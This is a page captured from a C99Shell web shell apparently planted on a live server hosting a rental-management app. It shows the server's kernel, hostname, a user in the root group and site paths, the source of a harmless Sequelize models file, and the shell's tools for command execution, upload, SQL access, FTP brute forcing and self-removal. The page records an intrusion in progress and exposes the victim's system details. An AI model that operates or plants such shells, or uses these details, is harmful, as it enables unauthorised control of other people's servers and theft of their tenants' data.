!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/rentals.picotech.app/public_html/server/models/   drwxr-xr-x
Free 28.65 GB of 117.98 GB (24.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     index.js (2.95 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import sequelize from '../config/database.js';
import User from './User.js';
import Building from './Building.js';
import Floor from './Floor.js';
import Room from './Room.js';
import Bed from './Bed.js';
import Renter from './Renter.js';
import RenterDocument from './RenterDocument.js';
import RentPayment from './RentPayment.js';
import Maintenance from './Maintenance.js';
import Expense from './Expense.js';
import Notice from './Notice.js';
import Visitor from './Visitor.js';
import Settings from './Settings.js';

// Define associations
Building.hasMany(Floor, { foreignKey: 'building_id', as: 'buildingFloors' });
Floor.belongsTo(Building, { foreignKey: 'building_id', as: 'building' });

Floor.hasMany(Room, { foreignKey: 'floor_id', as: 'rooms' });
Room.belongsTo(Floor, { foreignKey: 'floor_id', as: 'floor' });
Room.belongsTo(Building, { foreignKey: 'building_id', as: 'building' });

Room.hasMany(Bed, { foreignKey: 'room_id', as: 'beds' });
Bed.belongsTo(Room, { foreignKey: 'room_id', as: 'room' });
Bed.belongsTo(Floor, { foreignKey: 'floor_id', as: 'floor' });
Bed.belongsTo(Building, { foreignKey: 'building_id', as: 'building' });

Bed.hasOne(Renter, { foreignKey: 'bed_id', as: 'renter' });
Renter.belongsTo(Bed, { foreignKey: 'bed_id', as: 'bed' });
Renter.belongsTo(Room, { foreignKey: 'room_id', as: 'room' });
Renter.belongsTo(Floor, { foreignKey: 'floor_id', as: 'floor' });
Renter.belongsTo(Building, { foreignKey: 'building_id', as: 'building' });

Renter.hasMany(RenterDocument, { foreignKey: 'renter_id', as: 'documents' });
RenterDocument.belongsTo(Renter, { foreignKey: 'renter_id', as: 'renter' });

Renter.hasMany(RentPayment, { foreignKey: 'renter_id', as: 'payments' });
RentPayment.belongsTo(Renter, { foreignKey: 'renter_id', as: 'renter' });

Building.hasMany(Maintenance, { foreignKey: 'building_id', as: 'maintenanceRequests' });
Maintenance.belongsTo(Building, { foreignKey: 'building_id', as: 'building' });

Floor.hasMany(Maintenance, { foreignKey: 'floor_id', as: 'maintenanceRequests' });
Maintenance.belongsTo(Floor, { foreignKey: 'floor_id', as: 'floor' });

Room.hasMany(Maintenance, { foreignKey: 'room_id', as: 'maintenanceRequests' });
Maintenance.belongsTo(Room, { foreignKey: 'room_id', as: 'room' });

Building.hasMany(Expense, { foreignKey: 'building_id', as: 'expenses' });
Expense.belongsTo(Building, { foreignKey: 'building_id', as: 'building' });

Building.hasMany(Notice, { foreignKey: 'building_id', as: 'notices' });
Notice.belongsTo(Building, { foreignKey: 'building_id', as: 'building' });

Floor.hasMany(Notice, { foreignKey: 'floor_id', as: 'notices' });
Notice.belongsTo(Floor, { foreignKey: 'floor_id', as: 'floor' });

Renter.hasMany(Visitor, { foreignKey: 'visiting_renter_id', as: 'visitors' });
Visitor.belongsTo(Renter, { foreignKey: 'visiting_renter_id', as: 'visitingRenter' });

export {
  sequelize,
  User,
  Building,
  Floor,
  Room,
  Bed,
  Renter,
  RenterDocument,
  RentPayment,
  Maintenance,
  Expense,
  Notice,
  Visitor,
  Settings
};

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--